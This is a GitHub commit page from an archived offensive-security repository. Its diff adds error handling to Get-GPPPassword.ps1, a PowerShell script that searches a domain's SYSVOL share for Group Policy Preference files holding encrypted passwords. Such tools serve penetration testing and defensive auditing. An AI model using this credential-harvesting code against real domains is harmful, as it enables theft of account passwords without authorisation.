Skip to content
This repository was archived by the owner on Jan 21, 2021. It is now read-only.

Commit ba33613

Browse files
committed
Added additional error handling to Get-GPPPassword
1 parent 66face4 commit ba33613

File tree

1 file changed

+10
-3
lines changed

1 file changed

+10
-3
lines changed

Exfiltration/Get-GPPPassword.ps1

Lines changed: 10 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -61,12 +61,19 @@
6161
}
6262

6363
#ensure that machine is domain joined and script is running as a domain account
64-
if (((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False) {throw 'Machine is not joined to a domain.'}
65-
if (($Env:USERDNSDOMAIN) -eq $Null) {throw 'Account is not a domain account.'}
64+
if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) )
65+
{
66+
throw 'Machine is not joined to a domain.'
67+
}
6668

6769
#discover potential files containing passwords ; not complaining in case of denied access to a directory
68-
$XMlFiles = Get-ChildItem -Path "\\$Env:USERDNSDOMAIN\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'groups.xml','services.xml','scheduledtasks.xml','datasources.xml'
70+
$XMlFiles = Get-ChildItem -Path "\\$Env:USERDNSDOMAIN\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml'
6971

72+
if ( -not $XMlFiles )
73+
{
74+
throw 'No files containing encrypted passwords found.'
75+
}
76+
7077
foreach ($File in $XMLFiles) {
7178

7279
try {

0 commit comments

Comments
 (0)